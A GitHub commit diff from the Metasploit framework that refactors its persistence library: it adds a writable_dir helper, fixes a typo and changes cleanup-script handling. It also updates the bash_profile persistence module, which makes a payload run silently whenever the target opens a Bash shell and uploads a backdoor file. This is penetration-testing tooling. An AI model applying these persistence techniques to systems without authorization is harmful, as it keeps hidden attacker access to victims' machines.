Skip to content

Commit 140232d

Browse files
authored
Merge pull request #20534 from h00die/persistence_lib_fixes
adjustments to the persistence lib and landed modules
2 parents 6df1871 + c4936d1 commit 140232d

File tree

3 files changed

+28
-10
lines changed

3 files changed

+28
-10
lines changed

lib/msf/core/exploit/local/persistence.rb

Lines changed: 21 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,8 @@
33
module Msf
44
module Exploit::Local::Persistence
55
def initialize(info = {})
6-
@persistence_service = Rex::Sync::Event.new(auto_reset=false)
7-
@clean_up_rc = nil
6+
@persistence_service = Rex::Sync::Event.new(auto_reset = false)
7+
@clean_up_rc = ''
88
super(
99
update_info(
1010
info,
@@ -36,6 +36,23 @@ def exploit
3636
@persistence_service.wait if run_as_background
3737
end
3838

39+
def writable_dir
40+
# base the WritableDir default off of the persistence module path to avoid
41+
# needing to probe the target directly, or deal with one offs like ssh sessions
42+
return datastore['WritableDir'] unless datastore['WritableDir'].empty?
43+
44+
mod_path = self.class.file_path.downcase.tr('\\', '/')
45+
46+
if mod_path.include?('/windows/')
47+
'%TEMP%'
48+
elsif mod_path.include?('/multi/')
49+
print_warning('Please set the WritableDir datastore option or the module is likely to fail')
50+
''
51+
else
52+
'/tmp/'
53+
end
54+
end
55+
3956
def install_persistence
4057
# to be overloaded by the module
4158
end
@@ -52,7 +69,7 @@ def save_cleanup_rc
5269
clean_rc = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc'
5370
file_local_write(clean_rc, @clean_up_rc)
5471

55-
print_status("Meterpreter-compatible Cleaup RC file: #{clean_rc}")
72+
print_status("Meterpreter-compatible Cleanup RC file: #{clean_rc}")
5673

5774
report_note(host: host,
5875
type: 'host.persistance.cleanup',
@@ -71,4 +88,4 @@ def save_cleanup_rc
7188
def cleanup
7289
end
7390
end
74-
end
91+
end

modules/exploits/example_linux_persistence.rb

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -91,9 +91,9 @@ def initialize(info = {})
9191

9292
def check
9393
# Check a example app is installed
94-
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
95-
return CheckCode::Safe("#{datastore['WritableDir']} doesnt exist") unless exists?(datastore['WritableDir'])
96-
return CheckCode::Safe("#{datastore['WritableDir']} isnt writable") unless writable?(datastore['WritableDir'])
94+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
95+
return CheckCode::Safe("#{writable_dir} doesnt exist") unless exists?(writable_dir)
96+
return CheckCode::Safe("#{writable_dir} isnt writable") unless writable?(writable_dir)
9797
return CheckCode::Safe('example app is required') unless command_exists?('example')
9898

9999
CheckCode::Detected('example app is installed')

modules/exploits/linux/persistence/bash_profile.rb

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -83,7 +83,7 @@ def profile_path
8383
end
8484

8585
def check
86-
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
86+
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
8787
ppath = profile_path
8888

8989
# check that target Bash profile file exists
@@ -100,6 +100,7 @@ def check
100100
end
101101

102102
def install_persistence
103+
super
103104
# create Bash profile backup on local system before persistence is added
104105
ppath = profile_path
105106
backup_profile = read_file(ppath)
@@ -113,7 +114,7 @@ def install_persistence
113114
exec_payload_string = "#{pload} > /dev/null 2>&1 & \n" # send stdin,out,err to /dev/null
114115
else
115116
# upload persistent payload to target and make executable (chmod 700)
116-
payload_path = datastore['WritableDir']
117+
payload_path = writable_dir
117118
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
118119
payload_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10)
119120
payload_path << payload_name
@@ -126,7 +127,7 @@ def install_persistence
126127
vprint_status('Created Bash profile persistence')
127128
print_good('Payload will be triggered when target opens a Bash terminal')
128129

129-
@clean_up_rc = "rm #{payload_path}\n"
130+
@clean_up_rc << "rm #{payload_path}\n"
130131
@clean_up_rc << "upload #{backup_profile_path} #{ppath}"
131132
end
132133
end

0 commit comments

Comments
 (0)